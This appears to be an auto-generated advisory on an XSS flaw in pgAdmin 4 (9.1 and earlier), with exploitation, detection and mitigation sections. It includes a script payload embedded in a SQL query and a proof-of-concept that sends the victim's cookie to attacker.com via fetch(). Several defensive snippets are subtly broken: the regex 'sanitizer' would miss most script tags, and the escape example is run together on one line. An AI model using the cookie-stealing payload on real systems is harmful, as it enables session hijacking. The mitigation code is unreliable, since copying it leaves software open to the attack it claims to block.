How the CVE Works:
pgAdmin 4 (<= v9.1) fails to properly sanitize query results before rendering them in the browser. Attackers can craft malicious SQL queries containing JavaScript payloads. When these results are displayed in the pgAdmin interface, the scripts execute in the victim’s browser, enabling session hijacking, credential theft, or admin compromise. The vulnerability stems from improper output encoding in the query results viewer.
DailyCVE Form:
Platform: pgAdmin
Version: <= 9.1
Vulnerability: XSS
Severity: Critical
Date: 2025-04-04
What Undercode Say:
Exploitation:
- Craft a malicious SQL query with embedded JavaScript:
SELECT '<script>alert(document.cookie)</script>' AS payload;
2. Execute via pgAdmin’s query tool—rendered unsanitized.
Detection:
- Check pgAdmin logs for unusual query patterns:
grep -r "script>" /var/log/pgadmin/
Mitigation:
1. Upgrade to pgAdmin > 9.1.
2. Apply input sanitization filters:
from markupsafe import escape rendered_output = escape(malicious_query_result)
3. Enable CSP headers in pgAdmin’s config:
add_header Content-Security-Policy "default-src 'self'; script-src 'none'";
Exploit Code (PoC):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Protection Commands:
- Patch via package manager:
sudo apt update && sudo apt install pgadmin4 --only-upgrade
- Validate queries server-side:
def sanitize_input(query): return re.sub(r'<script.?>.?</script>', '', query, flags=re.IGNORECASE)
Analytics:
- Attack surface: High (admin panels often trusted).
- Prevalence: Widespread in unpatched instances.
- Exploit complexity: Low (no auth required if query access exists).
(End of technical details. No additional commentary.)
References:
Reported By: https://github.com/advisories/GHSA-2rrx-pphc-qfv9
Extra Source Hub:
Undercode
